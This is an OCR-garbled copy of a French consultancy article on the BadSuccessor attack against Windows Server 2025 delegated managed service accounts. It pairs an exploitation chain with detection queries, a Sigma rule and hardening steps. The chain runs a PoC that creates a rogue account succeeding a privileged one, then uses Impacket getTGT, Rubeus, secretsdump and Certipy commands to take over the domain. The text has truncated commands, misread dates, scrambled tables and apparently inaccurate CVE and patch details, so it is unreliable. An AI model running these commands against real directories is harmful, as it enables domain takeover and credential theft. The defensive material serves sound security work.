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BadSuccessor DMSA : Compromettre Active
Directory en 2026

Analyse technique approfondie de la vulnérabilité BadSuccessor, qui détourne les comptes de
service administrés délégués (dAMSA) introduits avec Windows Server 2025 pour prendre le
controle intégral d'un domaine Active Directory. Nous détaillons le mécanisme de migration
abusé, les attributs LDAP en cause, les prérequis réels d'exploitation et les traces laissées dans
les journaux d'événements. La chaine badsuccessor dmsa compromission ad permet a un compte
disposant de droits d'écriture sur une simple unité d'organisation d'obtenir les privileges d'un
administrateur du domaine, sans exploiter la moindre faille mémoire. Face a la sophistication
croissante des attaques ciblant les environnements Active Directory et Entra ID, les
administrateurs systeme, les équipes SOC et les responsables sécurité trouveront ici des mesures
de détection et de durcissement applicables immédiatement, ainsi que les requétes de chasse

associées.

» Techniques d'attaque documentées et vecteurs d'exploitation
» Indicateurs de compromission (IOC) et regles de détection

» Stratégies de remédiation et de durcissement Active Directory
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Impact sur les architectures Zero Trust et [AM
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Analyse Technique Detaillee

Retour terrain
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Skeleton Key Attaqgue Defense

Stratégies de Defense et Remediation

Protected Users

Conditional Access

: Audit complet avec les scripts recommandes — voir Computer Account

Takeover Attaque Defens

: Remediation des configurations critiques
: Mise en place du monitoring continu

: Tests de penetration reguliers

AVIS DcXPERT

Notre avis d'expert



http://localhost:4001/articles/skeleton-key-attaque-defense
http://localhost:4001/glossaire/protected-users
http://localhost:4001/glossaire/conditional-access-acces-conditionnel
http://localhost:4001/articles/computer-account-takeover-attaque-defense
http://localhost:4001/articles/computer-account-takeover-attaque-defense

Rbcd Attaque Defense

Recommandations de durcissement

Points de contrdle prioritaires

AdminSDHolder

MITRE ATT&CK

Privilege Escalation
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Contexte et enjeux actuels

Impact opérationnel

Approche méthodique recommandée




MITRE ATT&CK Privilege Escalation ADSecurity.org

Analyse Technique de CVE-2025-29968 : DMSA
PrincipalsAllowedToDelegateToAccount



https://attack.mitre.org/tactics/TA0004/
https://adsecurity.org/

Fonctionnement des DMSA et la Faille de Succession

= OHF H H H

# Les DMSA (Delegated MSA) sont des comptes de service managés
# qui peuvent "succéder" a d'autres comptes via l'attribut

# msDS-ManagedAccountPrecededByLink / msDS-ManagedAccountSucceededByLink

# La faille : un utilisateur peut créer un DMSA qui prétend
# succéder a n'importe quel compte AD, y compris des comptes privilégiés.

# Le DC fait alors confiance a ce DMSA et lui octroie les permissions du compte predecesseur.

Conditions pour exploiter CVE-2025-29968

1.
2.

Windows Server 2025 Domain Controller (les serveurs 2019/2022 ne sont pas vulhérables)
L'attaguant doit avoir le droit de créer des objets computer dans une OU

OU droit Write sur l'attribut msDS-ManagedAccountPrecededByLink d'un DMSA existant
PrincipalsAllowedToDelegateToAccount (RBCD) doit étre exploitable

# Vérifier la présence de DCs Windows Server 2025
Get-ADDomainController -Filter * | Select-Object Name, OperatingSystem |
Where-Object {$_.OperatingSystem -like "*2025*"}

# Vérifier les OUs ou l'utilisateur courant peut créer des Computer objects
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
Get-ADOrganizationalUnit -Filter * | ForEach-Object {

$acl = Get-ACL "AD:$($_.DistinguishedName)"

$acl.Access | Where-Object {

$_.IdentityReference -match $currentUser.Name.Split('')[1] -and
$_.0ObjectType -eq [GUID]"bf967a86-0de6-11d0-a285-00aa003049e2" -and # Computer class
$_.ActiveDirectoryRights -match "CreateChild"



Exploitation avec Impacket et Certipy

# Exploitation BadSuccessor - chaine compléte
# Outil : BadSuccessor PoC (Akamai Security Labs)

# Etape 1 : Créer un DMSA avec succession vers le compte DA cible
python3 badsuccessor.py -dc-ip 192.168.1.10 -domain corp.local -username lowpriv -pas

# Ce que fait le PoC en arriéere-plan

# 1. Crée l'objet computer (DMSA) evilmsa®1l$ dans une OU accessible

# 2. Définit msDS-ManagedAccountPrecededByLink - cible (krbtgt ou autre)
# 3. Active la fonctionnalité DMSA sur l'objet

# Etape 2 : Obtenir le ticket Kerberos du DMSA avec les droits de la cible
# Via Impacket - demande un TGT pour le DMSA
python3 impacket/examples/getTGT.py corp.local/evilmsa0l$ -dc-ip 192.168.1.10 -aesKey [ae€

# Alternative avec Rubeus

Rubeus.exe asktgt /user:evilmsa@1$ /domain:corp.local /dc:dc@1 /nowrap

# Etape 3 : S'impersoner via le ticket obtenu (droits krbtgt = compromission totale)
# Le DMSA hérite des droits de la cible - si cible = Domain Admin - DA

KRB5CCNAME=evilmsa@l.ccache python3 impacket/examples/secretsdump.py -k -no-pass corp.loc

# Variante avec Certipy pour cibler un compte avec certificat

certipy shadow auto -username lowpriv@corp.local -password 'Passwordi123' -account evilmsao1




Timeline de la Divulgation (Mai 2025)

Janvier Akamai Security Labs découvre la faille lors d'une recherche sur les DMSA Windows
2025 Server 2025
Février

2005 Divulgation privée a Microsoft Security Response Center (MSRC)

Auvril 2025 Microsoft confirme la vulnérabilité et travaille sur un patch

13 mai

2005 Microsoft Patch Tuesday - Publication CVE-2025-29968, patch déployé (KB5058919)
14 mai

2005 Akamai publie I'article de blog technique détaillant BadSuccessor

16 mai

2005 PoC public disponible sur GitHub (plusieurs repos communautaires)

Juin 2025 Intégration dans Bloodhound Community Edition et outils de pentest AD




Patch Microsoft, Détection Post-Patch et Comparaison Vecteurs AD

Détection de BadSuccessor (Avant et Aprées Patch)




# Détection via Event IDs Active Directory
# EventID 4741 : Computer account created

# — Surveiller les créations de comptes computer avec des attributs DMSA inhabituels

# EventID 4662 : An operation was performed on an object

# - Surveiller les modifications de msDS-ManagedAccountPrecededByLink

# Script de détection : Lister les DMSA avec msDS-ManagedAccountPrecededByLink
Get-ADObject -Filter {objectClass -eq "msDS-DelegateManagedServiceAccount"} °
-Properties msDS-ManagedAccountPrecededByLink, Created, WhenChanged |
Select-Object Name, Created, WhenChanged, "msDS-ManagedAccountPrecededByLink" |
Where-Object {$_."msDS-ManagedAccountPrecededByLink" -ne $null} |
Format-Table -AutoSize

# Détection post-patch : vérifier si le patch est appliqué
# KB5058919 pour Windows Server 2025
Get-HotFix -Id "KB5058919" -ComputerName dc@l.corp.local

# Si patch non appliqué et Server 2025 présent — VULNERABLE

# Workaround sans patch : restreindre la création de comptes computer

# Restreindre qui peut créer des Computer objects dans le domaine

# Par défaut, tout utilisateur authentifié peut créer jusqu'a 10 comptes computer
# (attribut ms-DS-MachineAccountQuota = 10)

# Mitigation 1 : Mettre ms-DS-MachineAccountQuota a ©
Set-ADDomain -Identity corp.local
-Replace @{"ms-DS-MachineAccountQuota"="0"}

# Désormais seuls les admins peuvent créer des comptes computer

# Mitigation 2 : Surveiller les créations DMSA avec Sentinel

SecurityEvent

| where EventID == 4741

| where EventData has "msDS-DelegateManagedServiceAccount"

| project TimeGenerated, SubjectUserName, NewAccountName,
TargetDomainName, Attributes = EventData

| order by TimeGenerated desc

# Mitigation 3 : Alerter sur modification msDS-ManagedAccountPrecededByLink
SecurityEvent

| where EventID == 4662

| where Properties has "msDS-ManagedAccountPrecededByLink"

| project TimeGenerated, SubjectUserName, ObjectName, Properties
I

order by TimeGenerated desc



Comparaison BadSuccessor avec Autres Vecteurs de Persistance AD

BadSuccessor

(DMSA)

Golden Ticket

DCSync

Shadow

Credentials

AdminSDHolder
Backdoor

SID History

Injection

DPAPI Domain
Backup Key

légitime

Créer computer
objects + WS2025
DC

Hash NTLM du

compte krbtgt

Droits Replicating

Directory Changes

Write sur msDS-

KeyCredentialLink

Acceés Domain

Admin initial

Domain Admin
dans un domaine

enfant

Domain Admin ou

SYSTEM sur DC

Domain Admin
ou tout compte

cible

Acces illimité
au domaine

(10+ ans)

Tous les hashes
NTLM du

domaine

Compromission

compte cible

Persistance via
SDProp (toutes

les 60min)

Priviléges
Enterprise

Admin

Déchiffrer tous
les secrets
DPAPI du

domaine

EventID 4741 + 4662

Ticket > durée max

(EventID 4769)

EventID 4662 (replication)

EventID 4662 (msDS-
KeyCredentialLink)

Surveiller ACL
AdminSDHolder
(DN=CN=AdminSDHolder)

EventID 4765/4766

MS-BKRP requests (réseau
+ EventID)

Patch
KB5058919 +

quota=0

Rotation krbtgt
x2

(réinitialisation)

Retirer droits
réplication non-

DCs

Audit ACL +
alertes

modification

Audit SDProp
+ alertes ACL

Activer SID
Filtering inter-

domaines

Rotation clé
DPAPI +

monitoring



Détection et Monitoring des Activités DMSA Suspectes

Event IDs Windows a surveiller

msDS-DelegatedMSAState msDS-GroupMSAMembership

msDS -

ManagedPasswordId msDS-DelegatedMSAState

Requéte Sigma pour la détection DMSA




title: Suspicious DMSA Object Modification (BadSuccessor)
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName |contains:
- msDS-DelegatedMSAState
- msDS-ManagedPasswordId
- msDS-GroupMSAMembership
condition: selection
falsepositives:
- Legitimate DMSA provisioning by AD administrators
level: high
tags:
- attack.credential_access
- attack.t1558

Get-ADServiceAccount -Filter {ObjectClass

-eq msDS-DelegatedServiceAccount} -Properties *

Ressources officielles et correctifs Microsoft




Demandez un audit Active Directory = contactez-nous directement

Questions frequentes
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RETOUR DcXPERIENCE

Cas concret

Microsoft 365

Conclusion
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Attaques AD 2025 : Bilan et Tendances Emergentes en 2026 —

BloodHound

o T
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Votre Active Directory est-il compromis ?

ayi@ayinedjimi-consultants.fr
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